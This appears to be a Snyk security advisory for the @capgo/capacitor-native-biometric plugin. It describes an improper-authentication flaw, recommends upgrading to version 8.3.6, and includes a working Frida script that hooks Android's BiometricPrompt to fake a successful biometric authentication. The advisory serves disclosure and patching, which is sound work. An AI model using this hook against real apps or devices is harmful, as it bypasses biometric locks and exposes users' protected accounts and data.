Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Improper Authentication vulnerabilities in an interactive lesson.
Start learningUpgrade @capgo/capacitor-native-biometric to version 8.3.6 or higher.
@capgo/capacitor-native-biometric is a This plugin gives access to the native biometric apis for android and iOS
Affected versions of this package are vulnerable to Improper Authentication via the onAuthenticationSucceeded function. An attacker can gain unauthorized access by hooking and invoking this function without proper validation of the authentication result.
Java.perform(function () {
hookBiometricPrompt();
});
function getBiometricAuthResult(resultObj, cryptoInst) {
var authenticationResultInst = resultObj.$new(cryptoInst, 0);
return authenticationResultInst;
};
function getBiometricPromptResult() {
var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');
var cryptoInst = cryptoObj.$new(null);
var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst);
return authenticationResultInst
};
function hookBiometricPrompt() {
var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
console.log("Hooking BiometricPrompt.authenticate()...");
biometricPrompt.implementation = function (cancellationSignal, executor, callback) {
var authenticationResultInst = getBiometricPromptResult();
callback.onAuthenticationSucceeded(authenticationResultInst);
}
};